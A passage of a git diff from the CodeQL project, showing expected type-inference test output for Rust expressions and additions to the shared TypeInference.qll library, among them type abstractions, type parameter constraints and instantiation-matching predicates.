S2 | | main.rs:972:5:973:14 | S2 | +| main.rs:1000:26:1000:41 | ...::m2(...) | | file://:0:0:0:0 | & | +| main.rs:1000:26:1000:41 | ...::m2(...) | &T | main.rs:972:5:973:14 | S2 | +| main.rs:1000:38:1000:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:1000:38:1000:40 | &x3 | &T | main.rs:969:5:970:19 | S | +| main.rs:1000:38:1000:40 | &x3 | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1000:39:1000:40 | x3 | | main.rs:969:5:970:19 | S | +| main.rs:1000:39:1000:40 | x3 | T | main.rs:972:5:973:14 | S2 | +| main.rs:1001:26:1001:41 | ...::m3(...) | | file://:0:0:0:0 | & | +| main.rs:1001:26:1001:41 | ...::m3(...) | &T | main.rs:972:5:973:14 | S2 | +| main.rs:1001:38:1001:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:1001:38:1001:40 | &x3 | &T | main.rs:969:5:970:19 | S | +| main.rs:1001:38:1001:40 | &x3 | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1001:39:1001:40 | x3 | | main.rs:969:5:970:19 | S | +| main.rs:1001:39:1001:40 | x3 | T | main.rs:972:5:973:14 | S2 | +| main.rs:1003:13:1003:14 | x4 | | file://:0:0:0:0 | & | +| main.rs:1003:13:1003:14 | x4 | &T | main.rs:969:5:970:19 | S | +| main.rs:1003:13:1003:14 | x4 | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1003:18:1003:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1003:18:1003:23 | &... | &T | main.rs:969:5:970:19 | S | +| main.rs:1003:18:1003:23 | &... | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1003:19:1003:23 | S(...) | | main.rs:969:5:970:19 | S | +| main.rs:1003:19:1003:23 | S(...) | T | main.rs:972:5:973:14 | S2 | +| main.rs:1003:21:1003:22 | S2 | | main.rs:972:5:973:14 | S2 | +| main.rs:1005:26:1005:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:1005:26:1005:27 | x4 | &T | main.rs:969:5:970:19 | S | +| main.rs:1005:26:1005:27 | x4 | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1005:26:1005:32 | x4.m2() | | file://:0:0:0:0 | & | +| main.rs:1005:26:1005:32 | x4.m2() | &T | main.rs:972:5:973:14 | S2 | +| main.rs:1006:26:1006:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:1006:26:1006:27 | x4 | &T | main.rs:969:5:970:19 | S | +| main.rs:1006:26:1006:27 | x4 | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1006:26:1006:32 | x4.m3() | | file://:0:0:0:0 | & | +| main.rs:1006:26:1006:32 | x4.m3() | &T | main.rs:972:5:973:14 | S2 | +| main.rs:1008:13:1008:14 | x5 | | file://:0:0:0:0 | & | +| main.rs:1008:13:1008:14 | x5 | &T | main.rs:969:5:970:19 | S | +| main.rs:1008:13:1008:14 | x5 | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1008:18:1008:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1008:18:1008:23 | &... | &T | main.rs:969:5:970:19 | S | +| main.rs:1008:18:1008:23 | &... | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1008:19:1008:23 | S(...) | | main.rs:969:5:970:19 | S | +| main.rs:1008:19:1008:23 | S(...) | T | main.rs:972:5:973:14 | S2 | +| main.rs:1008:21:1008:22 | S2 | | main.rs:972:5:973:14 | S2 | +| main.rs:1010:26:1010:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:1010:26:1010:27 | x5 | &T | main.rs:969:5:970:19 | S | +| main.rs:1010:26:1010:27 | x5 | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1010:26:1010:32 | x5.m1() | | main.rs:972:5:973:14 | S2 | +| main.rs:1011:26:1011:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:1011:26:1011:27 | x5 | &T | main.rs:969:5:970:19 | S | +| main.rs:1011:26:1011:27 | x5 | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1011:26:1011:29 | x5.0 | | main.rs:972:5:973:14 | S2 | +| main.rs:1013:13:1013:14 | x6 | | file://:0:0:0:0 | & | +| main.rs:1013:13:1013:14 | x6 | &T | main.rs:969:5:970:19 | S | +| main.rs:1013:13:1013:14 | x6 | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1013:18:1013:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1013:18:1013:23 | &... | &T | main.rs:969:5:970:19 | S | +| main.rs:1013:18:1013:23 | &... | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1013:19:1013:23 | S(...) | | main.rs:969:5:970:19 | S | +| main.rs:1013:19:1013:23 | S(...) | T | main.rs:972:5:973:14 | S2 | +| main.rs:1013:21:1013:22 | S2 | | main.rs:972:5:973:14 | S2 | +| main.rs:1015:26:1015:30 | (...) | | main.rs:969:5:970:19 | S | +| main.rs:1015:26:1015:30 | (...) | T | main.rs:972:5:973:14 | S2 | +| main.rs:1015:26:1015:35 | ... .m1() | | main.rs:972:5:973:14 | S2 | +| main.rs:1015:27:1015:29 | * ... | | main.rs:969:5:970:19 | S | +| main.rs:1015:27:1015:29 | * ... | T | main.rs:972:5:973:14 | S2 | +| main.rs:1015:28:1015:29 | x6 | | file://:0:0:0:0 | & | +| main.rs:1015:28:1015:29 | x6 | &T | main.rs:969:5:970:19 | S | +| main.rs:1015:28:1015:29 | x6 | &T.T | main.rs:972:5:973:14 | S2 | +| main.rs:1022:16:1022:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1022:16:1022:20 | SelfParam | &T | main.rs:1020:5:1028:5 | Self [trait MyTrait] | +| main.rs:1025:16:1025:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1025:16:1025:20 | SelfParam | &T | main.rs:1020:5:1028:5 | Self [trait MyTrait] | +| main.rs:1025:32:1027:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1025:32:1027:9 | { ... } | &T | main.rs:1020:5:1028:5 | Self [trait MyTrait] | +| main.rs:1026:13:1026:16 | self | | file://:0:0:0:0 | & | +| main.rs:1026:13:1026:16 | self | &T | main.rs:1020:5:1028:5 | Self [trait MyTrait] | +| main.rs:1026:13:1026:22 | self.foo() | | file://:0:0:0:0 | & | +| main.rs:1026:13:1026:22 | self.foo() | &T | main.rs:1020:5:1028:5 | Self [trait MyTrait] | +| main.rs:1034:16:1034:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1034:16:1034:20 | SelfParam | &T | main.rs:1030:5:1030:20 | MyStruct | +| main.rs:1034:36:1036:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1034:36:1036:9 | { ... } | &T | main.rs:1030:5:1030:20 | MyStruct | +| main.rs:1035:13:1035:16 | self | | file://:0:0:0:0 | & | +| main.rs:1035:13:1035:16 | self | &T | main.rs:1030:5:1030:20 | MyStruct | +| main.rs:1040:13:1040:13 | x | | main.rs:1030:5:1030:20 | MyStruct | +| main.rs:1040:17:1040:24 | MyStruct | | main.rs:1030:5:1030:20 | MyStruct | +| main.rs:1041:9:1041:9 | x | | main.rs:1030:5:1030:20 | MyStruct | +| main.rs:1041:9:1041:15 | x.bar() | | file://:0:0:0:0 | & | +| main.rs:1041:9:1041:15 | x.bar() | &T | main.rs:1030:5:1030:20 | MyStruct | +| main.rs:1051:16:1051:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1051:16:1051:20 | SelfParam | &T | main.rs:1048:5:1048:26 | MyStruct | +| main.rs:1051:16:1051:20 | SelfParam | &T.T | main.rs:1050:10:1050:10 | T | +| main.rs:1051:32:1053:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1051:32:1053:9 | { ... } | &T | main.rs:1048:5:1048:26 | MyStruct | +| main.rs:1051:32:1053:9 | { ... } | &T.T | main.rs:1050:10:1050:10 | T | +| main.rs:1052:13:1052:16 | self | | file://:0:0:0:0 | & | +| main.rs:1052:13:1052:16 | self | &T | main.rs:1048:5:1048:26 | MyStruct | +| main.rs:1052:13:1052:16 | self | &T.T | main.rs:1050:10:1050:10 | T | +| main.rs:1057:13:1057:13 | x | | main.rs:1048:5:1048:26 | MyStruct | +| main.rs:1057:13:1057:13 | x | T | main.rs:1046:5:1046:13 | S | +| main.rs:1057:17:1057:27 | MyStruct(...) | | main.rs:1048:5:1048:26 | MyStruct | +| main.rs:1057:17:1057:27 | MyStruct(...) | T | main.rs:1046:5:1046:13 | S | +| main.rs:1057:26:1057:26 | S | | main.rs:1046:5:1046:13 | S | +| main.rs:1058:9:1058:9 | x | | main.rs:1048:5:1048:26 | MyStruct | +| main.rs:1058:9:1058:9 | x | T | main.rs:1046:5:1046:13 | S | +| main.rs:1058:9:1058:15 | x.foo() | | file://:0:0:0:0 | & | +| main.rs:1058:9:1058:15 | x.foo() | &T | main.rs:1048:5:1048:26 | MyStruct | +| main.rs:1058:9:1058:15 | x.foo() | &T.T | main.rs:1046:5:1046:13 | S | +| main.rs:1066:15:1066:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1066:15:1066:19 | SelfParam | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1066:31:1068:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1066:31:1068:9 | { ... } | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1067:13:1067:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1067:13:1067:19 | &... | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1067:14:1067:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1067:14:1067:19 | &... | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1067:15:1067:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1067:15:1067:19 | &self | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1067:16:1067:19 | self | | file://:0:0:0:0 | & | +| main.rs:1067:16:1067:19 | self | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1070:15:1070:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1070:15:1070:25 | SelfParam | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1070:37:1072:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1070:37:1072:9 | { ... } | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1071:13:1071:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1071:13:1071:19 | &... | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1071:14:1071:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1071:14:1071:19 | &... | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1071:15:1071:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1071:15:1071:19 | &self | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1071:16:1071:19 | self | | file://:0:0:0:0 | & | +| main.rs:1071:16:1071:19 | self | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1074:15:1074:15 | x | | file://:0:0:0:0 | & | +| main.rs:1074:15:1074:15 | x | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1074:34:1076:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1074:34:1076:9 | { ... } | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1075:13:1075:13 | x | | file://:0:0:0:0 | & | +| main.rs:1075:13:1075:13 | x | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1078:15:1078:15 | x | | file://:0:0:0:0 | & | +| main.rs:1078:15:1078:15 | x | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1078:34:1080:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1078:34:1080:9 | { ... } | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1079:13:1079:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1079:13:1079:16 | &... | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1079:14:1079:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1079:14:1079:16 | &... | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1079:15:1079:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1079:15:1079:16 | &x | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1079:16:1079:16 | x | | file://:0:0:0:0 | & | +| main.rs:1079:16:1079:16 | x | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1084:13:1084:13 | x | | main.rs:1063:5:1063:13 | S | +| main.rs:1084:17:1084:20 | S {...} | | main.rs:1063:5:1063:13 | S | +| main.rs:1085:9:1085:9 | x | | main.rs:1063:5:1063:13 | S | +| main.rs:1085:9:1085:14 | x.f1() | | file://:0:0:0:0 | & | +| main.rs:1085:9:1085:14 | x.f1() | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1086:9:1086:9 | x | | main.rs:1063:5:1063:13 | S | +| main.rs:1086:9:1086:14 | x.f2() | | file://:0:0:0:0 | & | +| main.rs:1086:9:1086:14 | x.f2() | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1087:9:1087:17 | ...::f3(...) | | file://:0:0:0:0 | & | +| main.rs:1087:9:1087:17 | ...::f3(...) | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1087:15:1087:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1087:15:1087:16 | &x | &T | main.rs:1063:5:1063:13 | S | +| main.rs:1087:16:1087:16 | x | | main.rs:1063:5:1063:13 | S | +| main.rs:1101:43:1104:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1101:43:1104:5 | { ... } | E | main.rs:1094:5:1095:14 | S1 | +| main.rs:1101:43:1104:5 | { ... } | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1102:13:1102:13 | x | | main.rs:1094:5:1095:14 | S1 | +| main.rs:1102:17:1102:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1102:17:1102:30 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1102:17:1102:31 | TryExpr | | main.rs:1094:5:1095:14 | S1 | +| main.rs:1102:28:1102:29 | S1 | | main.rs:1094:5:1095:14 | S1 | +| main.rs:1103:9:1103:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1103:9:1103:22 | ...::Ok(...) | E | main.rs:1094:5:1095:14 | S1 | +| main.rs:1103:9:1103:22 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1103:20:1103:21 | S1 | | main.rs:1094:5:1095:14 | S1 | +| main.rs:1107:46:1111:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1107:46:1111:5 | { ... } | E | main.rs:1097:5:1098:14 | S2 | +| main.rs:1107:46:1111:5 | { ... } | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1108:13:1108:13 | x | | file://:0:0:0:0 | Result | +| main.rs:1108:13:1108:13 | x | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1108:17:1108:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1108:17:1108:30 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1108:28:1108:29 | S1 | | main.rs:1094:5:1095:14 | S1 | +| main.rs:1109:13:1109:13 | y | | main.rs:1094:5:1095:14 | S1 | +| main.rs:1109:17:1109:17 | x | | file://:0:0:0:0 | Result | +| main.rs:1109:17:1109:17 | x | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1109:17:1109:18 | TryExpr | | main.rs:1094:5:1095:14 | S1 | +| main.rs:1110:9:1110:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1110:9:1110:22 | ...::Ok(...) | E | main.rs:1097:5:1098:14 | S2 | +| main.rs:1110:9:1110:22 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1110:20:1110:21 | S1 | | main.rs:1094:5:1095:14 | S1 | +| main.rs:1114:40:1119:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1114:40:1119:5 | { ... } | E | main.rs:1097:5:1098:14 | S2 | +| main.rs:1114:40:1119:5 | { ... } | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1115:13:1115:13 | x | | file://:0:0:0:0 | Result | +| main.rs:1115:13:1115:13 | x | T | file://:0:0:0:0 | Result | +| main.rs:1115:13:1115:13 | x | T.T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1115:17:1115:42 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1115:17:1115:42 | ...::Ok(...) | T | file://:0:0:0:0 | Result | +| main.rs:1115:17:1115:42 | ...::Ok(...) | T.T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1115:28:1115:41 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1115:28:1115:41 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1115:39:1115:40 | S1 | | main.rs:1094:5:1095:14 | S1 | +| main.rs:1117:17:1117:17 | x | | file://:0:0:0:0 | Result | +| main.rs:1117:17:1117:17 | x | T | file://:0:0:0:0 | Result | +| main.rs:1117:17:1117:17 | x | T.T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1117:17:1117:18 | TryExpr | | file://:0:0:0:0 | Result | +| main.rs:1117:17:1117:18 | TryExpr | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1117:17:1117:29 | ... .map(...) | | file://:0:0:0:0 | Result | +| main.rs:1118:9:1118:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1118:9:1118:22 | ...::Ok(...) | E | main.rs:1097:5:1098:14 | S2 | +| main.rs:1118:9:1118:22 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1118:20:1118:21 | S1 | | main.rs:1094:5:1095:14 | S1 | +| main.rs:1122:30:1122:34 | input | | file://:0:0:0:0 | Result | +| main.rs:1122:30:1122:34 | input | E | main.rs:1094:5:1095:14 | S1 | +| main.rs:1122:30:1122:34 | input | T | main.rs:1122:20:1122:27 | T | +| main.rs:1122:69:1129:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1122:69:1129:5 | { ... } | E | main.rs:1094:5:1095:14 | S1 | +| main.rs:1122:69:1129:5 | { ... } | T | main.rs:1122:20:1122:27 | T | +| main.rs:1123:13:1123:17 | value | | main.rs:1122:20:1122:27 | T | +| main.rs:1123:21:1123:25 | input | | file://:0:0:0:0 | Result | +| main.rs:1123:21:1123:25 | input | E | main.rs:1094:5:1095:14 | S1 | +| main.rs:1123:21:1123:25 | input | T | main.rs:1122:20:1122:27 | T | +| main.rs:1123:21:1123:26 | TryExpr | | main.rs:1122:20:1122:27 | T | +| main.rs:1124:22:1124:38 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1124:22:1124:38 | ...::Ok(...) | T | main.rs:1122:20:1122:27 | T | +| main.rs:1124:22:1127:10 | ... .and_then(...) | | file://:0:0:0:0 | Result | +| main.rs:1124:33:1124:37 | value | | main.rs:1122:20:1122:27 | T | +| main.rs:1124:53:1127:9 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1124:53:1127:9 | { ... } | E | main.rs:1094:5:1095:14 | S1 | +| main.rs:1126:13:1126:34 | ...::Ok::<...>(...) | | file://:0:0:0:0 | Result | +| main.rs:1126:13:1126:34 | ...::Ok::<...>(...) | E | main.rs:1094:5:1095:14 | S1 | +| main.rs:1128:9:1128:23 | ...::Err(...) | | file://:0:0:0:0 | Result | +| main.rs:1128:9:1128:23 | ...::Err(...) | E | main.rs:1094:5:1095:14 | S1 | +| main.rs:1128:9:1128:23 | ...::Err(...) | T | main.rs:1122:20:1122:27 | T | +| main.rs:1128:21:1128:22 | S1 | | main.rs:1094:5:1095:14 | S1 | +| main.rs:1132:37:1132:52 | try_same_error(...) | | file://:0:0:0:0 | Result | +| main.rs:1132:37:1132:52 | try_same_error(...) | E | main.rs:1094:5:1095:14 | S1 | +| main.rs:1132:37:1132:52 | try_same_error(...) | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1136:37:1136:55 | try_convert_error(...) | | file://:0:0:0:0 | Result | +| main.rs:1136:37:1136:55 | try_convert_error(...) | E | main.rs:1097:5:1098:14 | S2 | +| main.rs:1136:37:1136:55 | try_convert_error(...) | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1140:37:1140:49 | try_chained(...) | | file://:0:0:0:0 | Result | +| main.rs:1140:37:1140:49 | try_chained(...) | E | main.rs:1097:5:1098:14 | S2 | +| main.rs:1140:37:1140:49 | try_chained(...) | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1144:37:1144:63 | try_complex(...) | | file://:0:0:0:0 | Result | +| main.rs:1144:37:1144:63 | try_complex(...) | E | main.rs:1094:5:1095:14 | S1 | +| main.rs:1144:37:1144:63 | try_complex(...) | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1144:49:1144:62 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1144:49:1144:62 | ...::Ok(...) | E | main.rs:1094:5:1095:14 | S1 | +| main.rs:1144:49:1144:62 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | +| main.rs:1144:60:1144:61 | S1 | | main.rs:1094:5:1095:14 | S1 | +| main.rs:1152:5:1152:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1153:5:1153:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1153:20:1153:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1153:41:1153:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index c8eabda8872b..7e89671da544 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -32,6 +32,33 @@ signature module InputSig1 { /** A type parameter. */ class TypeParameter extends Type; + /** + * A type abstraction. I.e., a place in the program where type variables are + * introduced. + * + * Example in C#: + * ```csharp + * class C : D { } + * // ^^^^^^ a type abstraction + * ``` + * + * Example in Rust: + * ```rust + * impl Foo { } + * // ^^^^^^ a type abstraction + * ``` + */ + class TypeAbstraction { + /** Gets a type parameter introduced by this abstraction. */ + TypeParameter getATypeParameter(); + + /** Gets a textual representation of this type abstraction. */ + string toString(); + + /** Gets the location of this type abstraction. */ + Location getLocation(); + } + /** * Gets the unique identifier of type parameter `tp`. * @@ -91,11 +118,9 @@ module Make1 Input1> { predicate getRank = getTypeParameterId/1; } - private int getTypeParameterRank(TypeParameter tp) { - tp = DenseRank::denseRank(result) - } + int getRank(TypeParameter tp) { tp = DenseRank::denseRank(result) } - string encode(TypeParameter tp) { result = getTypeParameterRank(tp).toString() } + string encode(TypeParameter tp) { result = getRank(tp).toString() } bindingset[s] TypeParameter decode(string s) { encode(result) = s } @@ -212,6 +237,17 @@ module Make1 Input1> { TypePath cons(TypeParameter tp, TypePath suffix) { result = singleton(tp).append(suffix) } } + /** A class that represents a type tree. */ + signature class TypeTreeSig { + Type resolveTypeAt(TypePath path); + + /** Gets a textual representation of this type abstraction. */ + string toString(); + + /** Gets the location of this type abstraction. */ + Location getLocation(); + } + /** Provides the input to `Make2`. */ signature module InputSig2 { /** A type mention, for example a type annotation in a local variable declaration. */ @@ -253,6 +289,62 @@ module Make1 Input1> { * ``` */ TypeMention getABaseTypeMention(Type t); + + /** + * Gets a type constraint on the type parameter `tp`, if any. All + * instantiations of the type parameter must satisfy the constraint. + * + * For example, in + * ```csharp + * class GenericClass : IComparable> + * // ^ `tp` + * where T : IComparable { } + * // ^^^^^^^^^^^^^^ `result` + * ``` + * the type parameter `T` has the constraint `IComparable`. + */ + TypeMention getTypeParameterConstraint(TypeParameter tp); + + /** + * Holds if + * - `abs` is a type abstraction that introduces type variables that are + * free in `condition` and `constraint`, + * - and for every instantiation of the type parameters the resulting + * `condition` satisifies the constraint given by `constraint`. + * + * Example in C#: + * ```csharp + * class C : IComparable> { } + * // ^^^ `abs` + * // ^^^^ `condition` + * // ^^^^^^^^^^^^^^^^^ `constraint` + * ``` + * + * Example in Rust: + * ```rust + * impl Trait for Type { } + * // ^^^ `abs` ^^^^^^^^^^^^^^^ `condition` + * // ^^^^^^^^^^^^^ `constraint` + * ``` + * + * Note that the type parameters in `abs` significantly change the meaning + * of type parameters that occur in `condition`. For instance, in the Rust + * example + * ```rust + * fn foo() { } + * ``` + * we have that the type parameter `T` satisfies the constraint `Trait`. But, + * only that specific `T` satisfy the constraint. Hence we would not have + * `T` in `abs`. On the other hand, in the Rust example + * ```rust + * impl Trait for T { } + * ``` + * the constraint `Trait` is in fact satisfied for all types, and we would + * have `T` in `abs` to make it free in the condition. + */ + predicate conditionSatisfiesConstraint( + TypeAbstraction abs, TypeMention condition, TypeMention constraint + ); } module Make2 { @@ -265,8 +357,239 @@ module Make1 Input1> { result = tm.resolveTypeAt(TypePath::nil()) } + signature module IsInstantiationOfSig { + /** + * Holds if `abs` is a type abstraction under which `tm` occurs and if + * `app` is potentially the result of applying the abstraction to type + * some type argument. + */ + predicate potentialInstantiationOf(App app, TypeAbstraction abs, TypeMention tm); + } + + module IsInstantiationOf Input> { + private import Input + + /** Gets the `i`th path in `tm` per some arbitrary order. */ + private TypePath getNthPath(TypeMention tm, int i) { + result = rank[i + 1](TypePath path | exists(tm.resolveTypeAt(path)) | path) + } + + /** + * Holds if `app` is a possible instantiation of `tm` at `path`. That is + * the type at `path` in `tm` is either a type parameter or equal to the + * type at the same path in `app`. + */ + bindingset[app, abs, tm, path] + private predicate satisfiesConcreteTypeAt( + App app, TypeAbstraction abs, TypeMention tm, TypePath path + ) { + exists(Type t | + tm.resolveTypeAt(path) = t and + if t = abs.getATypeParameter() then any() else app.resolveTypeAt(path) = t + ) + } + + private predicate satisfiesConcreteTypesFromIndex( + App app, TypeAbstraction abs, TypeMention tm, int i + ) { + potentialInstantiationOf(app, abs, tm) and + satisfiesConcreteTypeAt(app, abs, tm, getNthPath(tm, i)) and + // Recurse unless we are at the first path + if i = 0 then any() else satisfiesConcreteTypesFromIndex(app, abs, tm, i - 1) + } + + pragma[inline] + private predicate satisfiesConcreteTypes(App app, TypeAbstraction abs, TypeMention tm) { + satisfiesConcreteTypesFromIndex(app, abs, tm, max(int i | exists(getNthPath(tm, i)))) + } + + private TypeParameter getNthTypeParameter(TypeAbstraction abs, int i) { + result = + rank[i + 1](TypeParameter tp | + tp = abs.getATypeParameter() + | + tp order by TypeParameter::getRank(tp) + ) + } + + /** + * Gets the path to the `i`th occurrence of `tp` within `tm` per some + * arbitrary order, if any. + */ + private TypePath getNthTypeParameterPath(TypeMention tm, TypeParameter tp, int i) { + result = rank[i + 1](TypePath path | tp = tm.resolveTypeAt(path) | path) + } + + private predicate typeParametersEqualFromIndex( + App app, TypeAbstraction abs, TypeMention tm, TypeParameter tp, int i + ) { + potentialInstantiationOf(app, abs, tm) and + exists(TypePath path, TypePath nextPath | + path = getNthTypeParameterPath(tm, tp, i) and + nextPath = getNthTypeParameterPath(tm, tp, i - 1) and + app.resolveTypeAt(path) = app.resolveTypeAt(nextPath) and + if i = 1 then any() else typeParametersEqualFromIndex(app, abs, tm, tp, i - 1) + ) + } + + private predicate typeParametersEqual( + App app, TypeAbstraction abs, TypeMention tm, TypeParameter tp + ) { + potentialInstantiationOf(app, abs, tm) and + tp = getNthTypeParameter(abs, _) and + ( + not exists(getNthTypeParameterPath(tm, tp, _)) + or + exists(int n | n = max(int i | exists(getNthTypeParameterPath(tm, tp, i))) | + // If the largest index is 0, then there are no equalities to check as + // the type parameter only occurs once. + if n = 0 then any() else typeParametersEqualFromIndex(app, abs, tm, tp, n) + ) + ) + } + + /** Holds if all the concrete types in `tm` also occur in `app`. */ + private predicate typeParametersHaveEqualInstantiationFromIndex( + App app, TypeAbstraction abs, TypeMention tm, int i + ) { + exists(TypeParameter tp | tp = getNthTypeParameter(abs, i) | + typeParametersEqual(app, abs, tm, tp) and + if i = 0 + then any() + else typeParametersHaveEqualInstantiationFromIndex(app, abs, tm, i - 1) + ) + } + + /** All the places where the same type parameter occurs in `tm` are equal in `app. */ + pragma[inline] + private predicate typeParametersHaveEqualInstantiation( + App app, TypeAbstraction abs, TypeMention tm + ) { + potentialInstantiationOf(app, abs, tm) and + ( + not exists(getNthTypeParameter(abs, _)) + or + exists(int n | n = max(int i | exists(getNthTypeParameter(abs, i))) | + typeParametersHaveEqualInstantiationFromIndex(app, abs, tm, n) + ) + ) + } + + /** + * Holds if `app` is a possible instantiation of `tm`. That is, by making + * appropriate substitutions for the free type parameters in `tm` given by + * `abs`, it is possible to obtain `app`. + * + * For instance, if `A` and `B` are free type parameters we have: + * - `Pair` is an instantiation of `A` + * - `Pair` is an instantiation of `Pair` + * - `Pair` is an instantiation of `Pair` + * - `Pair` is _not_ an instantiation of `Pair` + * - `Pair` is _not_ an instantiation of `Pair` + */ + predicate isInstantiationOf(App app, TypeAbstraction abs, TypeMention tm) { + potentialInstantiationOf(app, abs, tm) and + satisfiesConcreteTypes(app, abs, tm) and + typeParametersHaveEqualInstantiation(app, abs, tm) + } + } + /** Provides logic related to base types. */ private module BaseTypes { + /** + * Holds if, when `tm1` is considered an instantiation of `tm2`, then at + * the type parameter `tp` is has the type `t` at `path`. + * + * For instance, if the type `Map>` is considered an + * instantion of `Map` then it has the type `int` at `K` and the + * type `List` at `V`. + */ + bindingset[tm1, tm2] + predicate instantiatesWith( + TypeMention tm1, TypeMention tm2, TypeParameter tp, TypePath path, Type t + ) { + exists(TypePath prefix | + tm2.resolveTypeAt(prefix) = tp and t = tm1.resolveTypeAt(prefix.append(path)) + ) + } + + module IsInstantiationOfInput implements IsInstantiationOfSig { + 